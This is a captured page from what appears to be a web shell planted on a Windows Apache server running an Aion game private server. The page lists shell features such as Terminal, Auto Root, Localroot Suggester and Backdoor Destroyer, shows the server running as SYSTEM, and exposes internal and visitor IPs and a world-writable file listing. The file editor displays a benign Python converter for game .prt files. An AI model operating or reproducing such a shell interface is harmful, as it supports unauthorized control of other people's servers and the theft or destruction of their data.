Windows NT KAMIDAKI 10.0 build 19045 (Windows 10) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.3.9
Server IP : 192.168.3.16 & Your IP : 216.73.216.84
Domains :
Cant Read [ /etc/named.conf ]
User : SISTEMA
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
C: /
Servidor Aion - OLD CLASS /
Delete
Unzip
Name
Size
Permission
Date
Action
BACKUP COMMANDS PLAYER
[ DIR ]
drwxrwxrwx
2025-06-04 14:54
SRC Vortex Aion - Atualizado em 02 Fevereiro as 05AM
[ DIR ]
drwxrwxrwx
2025-06-04 14:54
Tabelas Custom SQL + Emulador da VORTEX AION
[ DIR ]
drwxrwxrwx
2025-06-04 14:54
chat-server
[ DIR ]
drwxrwxrwx
2025-06-03 05:13
game-server
[ DIR ]
drwxrwxrwx
2025-06-04 14:54
login-server
[ DIR ]
drwxrwxrwx
2025-06-03 05:13
Aion Sys Editor.exe
3.32
MB
-rwxrwxrwx
2025-04-17 01:21
Bloqueio portas.bat
1.38
KB
-rwxrwxrwx
2025-05-03 20:12
Iniciar OldClassAion Server.bat
2.08
KB
-rwxrwxrwx
2025-04-30 20:20
OldClass-PathFinding-DinamicSimulator.html
59.46
KB
-rw-rw-rw-
2025-07-24 23:24
ShugoConsole.exe
4.62
MB
-rwxrwxrwx
2025-03-26 00:46
code.mp4
9.57
MB
-rw-rw-rw-
2025-07-31 05:34
prt_txt_structured_editable.py
8.72
KB
-rw-rw-rw-
2025-07-21 19:56
Save
Rename
import os import struct from tkinter import Tk, filedialog def select_folder(title): root = Tk() root.withdraw() folder = filedialog.askdirectory(title=title) root.destroy() return folder def is_printable_string(s, min_length=2): """Verifica se uma string é legível e vale a pena extrair""" if len(s) < min_length: return False # Verifica se a string contém principalmente caracteres imprimíveis printable_chars = sum(1 for c in s if c.isprintable() and ord(c) < 127) return printable_chars / len(s) > 0.7 # 70% dos caracteres devem ser imprimíveis def read_null_terminated_string(data, offset): """Lê uma string terminada em null""" result = bytearray() start_offset = offset while offset < len(data): b = data[offset] if b == 0: break result.append(b) offset += 1 try: string = result.decode("utf-8", errors="ignore") except: string = result.decode("latin-1", errors="ignore") return string, offset - start_offset + 1 def extract_strings_safe(data, start_offset, max_scan=10000): """Extrai apenas strings que parecem ser texto legível""" strings = [] string_positions = [] # Para rastrear onde as strings estão localizadas offset = start_offset scan_limit = min(len(data), start_offset + max_scan) while offset < scan_limit: if data[offset] == 0: offset += 1 continue s, strlen = read_null_terminated_string(data, offset) # Só adiciona se parecer uma string legível if s and is_printable_string(s): strings.append(s) string_positions.append((offset, offset + strlen)) offset += strlen if strlen > 0 else 1 return strings, string_positions def dump_prt_to_txt(input_path, output_path): """Converte arquivo PRT para TXT editável""" with open(input_path, "rb") as f: data = f.read() # Lê o cabeçalho magic = data[0:4].decode('utf-8', errors='replace').rstrip('\x00') header_field = int.from_bytes(data[4:8], "little") next_int = int.from_bytes(data[8:12], "little") # Extrai strings de forma mais conservadora strings, string_positions = extract_strings_safe(data, 15, 5000) # Limita a busca aos primeiros 5000 bytes # Salva informações para reconstrução with open(output_path, "w", encoding="utf-8") as out: out.write(f"# File: {os.path.basename(input_path)}\n") out.write(f"# Size: {len(data)} bytes\n") out.write(f"# WARNING: Only edit the strings in the [STRINGS] section!\n") out.write(f"# Do not modify [HEADER] or [RAW] sections unless you know what you're doing.\n\n") out.write("[HEADER]\n") out.write(f"Magic={magic}\n") out.write(f"HeaderField={header_field}\n") out.write(f"NextInt={next_int}\n\n") out.write("[STRINGS]\n") out.write("# Edit only the strings below. Keep one string per line.\n") for i, s in enumerate(strings): out.write(f"{s}\n") out.write(f"\n[METADATA]\n") out.write(f"StringCount={len(strings)}\n") out.write(f"StringPositions={','.join([f'{start}-{end}' for start, end in string_positions])}\n") out.write(f"\n[RAW]\n") out.write("# DO NOT EDIT - Binary data in hexadecimal format\n") out.write(data.hex()) def rebuild_prt_from_txt(input_path, output_path): """Reconstrói arquivo PRT a partir do TXT editado""" with open(input_path, "r", encoding="utf-8") as f: lines = f.readlines() state = None header = {} strings = [] metadata = {} raw_hex = "" for line in lines: line = line.strip() if not line or line.startswith("#"): continue if line.startswith("["): state = line.strip("[]") continue if state == "HEADER": if "=" in line: key, value = line.split("=", 1) header[key.strip()] = value.strip() elif state == "STRINGS": strings.append(line) elif state == "METADATA": if "=" in line: key, value = line.split("=", 1) metadata[key.strip()] = value.strip() elif state == "RAW": raw_hex += line.replace(" ", "").replace("\n", "") # Reconstrói os dados binários try: raw_data = bytearray.fromhex(raw_hex) except ValueError as e: print(f"Erro ao decodificar dados hexadecimais: {e}") return # Atualiza o cabeçalho magic_bytes = header.get("Magic", "CRY").encode("utf-8")[:4].ljust(4, b'\x00') raw_data[0:4] = magic_bytes raw_data[4:8] = int(header.get("HeaderField", 0)).to_bytes(4, "little", signed=True) raw_data[8:12] = int(header.get("NextInt", 0)).to_bytes(4, "little", signed=True) # Reconstrói as strings nas posições originais if "StringPositions" in metadata: positions = metadata["StringPositions"].split(",") if len(positions) == len(strings): for i, pos_range in enumerate(positions): if "-" in pos_range: start, end = map(int, pos_range.split("-")) if i < len(strings): new_string = strings[i].encode("utf-8") + b'\x00' original_length = end - start if len(new_string) <= original_length: # Limpa a área original raw_data[start:end] = b'\x00' * (end - start) # Escreve a nova string raw_data[start:start + len(new_string)] = new_string else: print(f"Aviso: String {i + 1} é muito longa para o espaço original. Truncando.") truncated = new_string[:original_length - 1] + b'\x00' raw_data[start:end] = truncated # Salva o arquivo reconstruído with open(output_path, "wb") as out: out.write(raw_data) def convert_all_prt_to_txt_structured(): """Converte todos os arquivos PRT em um diretório para TXT""" input_dir = select_folder("Selecione a pasta com arquivos .prt") if not input_dir: print("Nenhuma pasta selecionada.") return output_dir = select_folder("Selecione a pasta para salvar arquivos .txt") if not output_dir: print("Nenhuma pasta de saída selecionada.") return os.makedirs(output_dir, exist_ok=True) files = [f for f in os.listdir(input_dir) if f.lower().endswith(".prt")] total = len(files) print(f"Encontrados {total} arquivos .prt.") for idx, file in enumerate(files, 1): try: prt_path = os.path.join(input_dir, file) txt_path = os.path.join(output_dir, file.replace(".prt", ".txt")) dump_prt_to_txt(prt_path, txt_path) print(f"[{idx}/{total}] Convertido: {file}") except Exception as e: print(f"[{idx}/{total}] Erro ao converter {file}: {e}") print("✔ Conversão PRT → TXT concluída.") def convert_all_txt_to_prt_structured(): """Converte todos os arquivos TXT editados de volta para PRT""" input_dir = select_folder("Selecione a pasta com arquivos .txt editados") if not input_dir: print("Nenhuma pasta selecionada.") return output_dir = select_folder("Selecione a pasta para salvar arquivos .prt") if not output_dir: print("Nenhuma pasta de saída selecionada.") return os.makedirs(output_dir, exist_ok=True) files = [f for f in os.listdir(input_dir) if f.lower().endswith(".txt")] total = len(files) print(f"Encontrados {total} arquivos .txt.") for idx, file in enumerate(files, 1): try: txt_path = os.path.join(input_dir, file) prt_path = os.path.join(output_dir, file.replace(".txt", ".prt")) rebuild_prt_from_txt(txt_path, prt_path) print(f"[{idx}/{total}] Reconstruído: {file}") except Exception as e: print(f"[{idx}/{total}] Erro ao reconstruir {file}: {e}") print("✔ Conversão TXT → PRT concluída.") if __name__ == "__main__": print("=== Conversor de Arquivos PRT ===") print("1. Converter arquivos .prt para .txt editáveis") print("2. Converter arquivos .txt editados de volta para .prt") print("3. Sair") while True: choice = input("\nEscolha uma opção (1, 2 ou 3): ").strip() if choice == "1": convert_all_prt_to_txt_structured() elif choice == "2": convert_all_txt_to_prt_structured() elif choice == "3": print("Saindo...") break else: print("Opção inválida. Digite 1, 2 ou 3.")